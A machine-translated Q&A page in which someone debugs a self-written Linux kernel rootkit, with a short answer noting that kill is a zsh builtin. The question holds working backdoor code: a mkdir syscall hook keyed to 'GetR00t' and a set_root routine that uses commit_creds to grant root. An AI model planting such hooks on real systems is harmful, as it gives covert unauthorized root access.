![为什么从内核hook syscalls时,kill、zsh的pid是,而mkdir的pid是mkdir?](https://linux22.com/image/201361/%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BB%8E%E5%86%85%E6%A0%B8hook%20syscalls%E6%97%B6%EF%BC%8Ckill%E3%80%81zsh%E7%9A%84pid%E6%98%AF%EF%BC%8C%E8%80%8Cmkdir%E7%9A%84pid%E6%98%AFmkdir%EF%BC%9F.png)
我正在编写自己的 rootkit 来了解 Linux 内核。我想连接到一个系统调用并将当前任务的凭据更改为根的凭据(ieeuid=0)。我看到你可以在运行kill时使用未使用的信号来做到这一点。如果您连接到kill,您可以捕获该信号,检查它是否与您设置的信号匹配,然后运行您的函数来更改为当前用户root提供的凭据。
但是,当挂接到 mkdir 等其他系统调用时,这不起作用。这是因为运行 mkdir 时的当前进程是 mkdir 本身。但是,运行kill时的当前进程是我的zsh shell,因此给了我root权限。
我想在挂接 mkdir 时获得 root 权限,但由于上述原因,这不起作用,只能将 mkdir 更改为以 root 身份运行,而不是我的 zsh 实例。
我正在阅读 LWN 的一些页面(https://static.lwn.net/images/pdf/LDD3/ch02.pdf)并且它说“在执行系统调用期间,例如 open 或 read,当前进程是调用该调用的进程。”这让我相信 mkdir 的当前进程应该是 zsh,因为这是调用该调用的进程。
这是我挂接到 mkdir 的代码
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);
asmlinkage int fh_sys_mkdir(const struct pt_regs *regs)
{
void set_root(void);
printk(KERN_INFO "Intercepting mkdir call");
char __user *pathname = (char *)regs->di;
char dir[255] = {0};
long err = strncpy_from_user(dir, pathname, 254);
if (err > 0)
{
printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
}
if ( (strcmp(dir, "GetR00t") == 0) )
{
//execl(SHELL, "sh", NULL);
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}
printk(KERN_INFO "ORIGINAL CALL");
return orig_mkdir(regs);
}
以下是我如何更改凭据以获取 root 权限。
void set_root(void)
{
printk(KERN_INFO "set_root called");
printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);
struct cred *root;
root = prepare_creds();
if (root == NULL)
{
printk(KERN_INFO "root is NULL");
return;
}
printk(KERN_INFO "Setting privileges... ");
/* Run through and set all the various *id's of the current user and set them all to 0 (root) */
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
/* Set the credentials to root */
printk(KERN_INFO "Commiting creds");
commit_creds(root);
}
这是当我运行kill和当我运行mkdir时显示pid的日志:
$ sudo tail /var/log/syslog
[...SNIP...]
Jan 22 10:44:43 kali kernel: [ 6170.003662] The process is "mkdir" (pid 3338) //PID of current process when mkdir is ran
Jan 22 10:46:14 kali kernel: [ 6260.534752] The process is "zsh" (pid 1396) // PID of current process when kill is ran
这是它如何工作的演示:
┌──(kali㉿kali)-[~/Documents]
└─$ mkdir GetR00t
┌──(kali㉿kali)-[~/Documents]
└─$
----------------------------------------
┌──(kali㉿kali)-[~/Documents]
└─$ kill -64 1
┌──(root
答案1
该kill
命令内置于 中zsh
,因此这就是所涉及的过程。mkdir
是一个单独的命令。